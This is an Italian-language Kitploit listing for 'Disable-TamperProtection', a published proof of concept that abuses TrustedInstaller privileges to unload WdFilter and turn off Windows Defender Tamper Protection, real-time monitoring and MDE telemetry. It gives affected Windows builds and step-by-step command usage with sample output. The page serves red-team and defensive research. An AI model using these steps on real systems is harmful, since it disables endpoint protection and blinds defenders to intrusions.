Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Disable-TamperProtection — Un POC per disabilitare TamperProtection e altri componenti Defender / MDE | Kitploit
Strumenti/GitHubGitHub/alteredsecurity/disable-tamperprotection
Post-ExploitPenetration TestingRed TeamingAttacco Avversario
GitHubalteredsecurity/disable-tamperprotection

Disable-TamperProtection

Un POC per disabilitare TamperProtection e altri componenti Defender / MDE

Vedi Repository
2584032 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Disabilitare la protezione Tamper e altri componenti Defender / MDE

È possibile abusare dei privilegi SYSTEM / TrustedInstaller per manomettere o eliminare le impostazioni di WdFilter (chiave di registro ALTITUDE) e scaricare il minidriver del kernel per disabilitare la protezione Tamper e altri componenti di Defender. Questo riguarda anche Microsoft Defender for Endpoint (MDE), accecando MDE relativamente alla telemetria e alle attività eseguite su un target.

Durante i test, questa vulnerabilità è risultata interessare le seguenti versioni di Windows:

  • Windows Server 2022 fino alla BuildLabEx Version: 20348.1.amd64fre.fe_release.210507-1500 (aggiornamento di aprile 2024)
  • Windows Server 2019
  • Windows 10 fino alla BuildLabEx Version: 19041.1.amd64fre.vb_release.191206-1406 (aggiornamento di aprile 2024)
  • Windows 11 fino alla BuildLabEx Version: 22621.1.amd64fre.ni_release.220506-1250 (aggiornamento di settembre 2023).

Blog che spiega il bypass e il POC: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

Utilizzo

NOTA: VC_redist.x64.exe (runtime MSVC) potrebbe essere necessario installarlo sul target.

Demo del POC: https://youtu.be/MI6aVDHRix8

Il POC funziona in 3 passaggi (richiesti privilegi di amministratore):

root@kitploit:~
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

Un esempio di utilizzo del POC è il seguente:

  1. Scaricare WdFilter:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
  1. Disabilitare la protezione Tamper:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
  1. Disabilitare i componenti Defender / MDE:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
  1. Ripristinare il minidriver WdFilter, la protezione Tamper e le impostazioni di Defender (Real-Time). Assicurati di riportare il numero Altitude (Default: 328010) al suo valore originale alla riga 530 del POC.
root@kitploit:~
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

Riferimenti

  • Gruppi di ordine di caricamento e altitudini per i driver minifilter di Microsoft
  • NSudo
  • superUser
  • Documento di ricerca su Blinding Defender
  • MDE Internals di FalconForce

Crediti

Pubblicato da: Munaf Shariff (@m3rcer)

Ricercatore di sicurezza presso Altered Security

Scarica lo strumento